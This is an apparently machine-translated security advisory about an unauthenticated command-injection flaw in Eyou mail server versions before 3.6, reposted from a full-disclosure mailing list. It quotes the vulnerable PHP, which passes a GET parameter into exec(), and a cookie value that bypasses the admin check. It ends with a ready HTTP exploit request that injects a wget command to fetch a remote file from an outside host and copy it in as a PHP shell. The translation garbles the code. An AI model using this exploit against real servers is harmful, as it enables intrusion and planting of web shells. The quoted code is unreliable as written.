Eyou Arbitrary Code Execution

Date: Wed, 8 Jan 2014 10:56:21 + 0800

Yiyou versions earlier than 3.6 have an Arbitrary Code Execution Vulnerability File
\ Inc \ fuction. php

 

Function get_login_ip_config_file ($ domain, $ file) {$ dir = '/var/eyou/Domain/'; $ dir_mail = exec ('/var/eyou/sbin/hashid '. $ domain); // $ domain can be controlled by yourself ....}

Continue with $ domain

It exists in \ admin \ domain \ ip_login_set \ d_ip_login_get.php

 

<? Php... require_once ('inc/domain. config. php '); // ValidateAdmin (); // you do not need to log on to $ domainname = get_domain (); // Get cookie $ allow_file = 'web _ login_allow_ip '; $ deny_file = 'web _ login_deny_ip '; $ domain = trim (get ('domain'); // $ domain from here. $ type = trim (get ('type'); // Get type $ res = ''; if ($ domainname! = 'Admin' & $ domainname! = $ Domain) {// you only need to set $ cookie = admin to bypass and continue. echo ''; exit;} if ($ type = 'allow') {// $ type any go $ file = $ allow_file; $ res. = 'IP _ allow & ';} elseif ($ type = 'deny') {$ file = $ deny_file; $ res. = 'IP _ deny & ';} else {echo ''; exit ;}$ file = get_login_ip_config_file ($ domain, $ file ); // call the get_login_ip_config_file function if ($ file = FALSE) {echo $ res; exit ;}

 

Exp:


 

GET/admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow HTTP/1.1Host: mail.0day5.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie:cookie=adminConnection: keep-alive

Copy to http://seclists.org/fulldisclosure/2014/Jan/32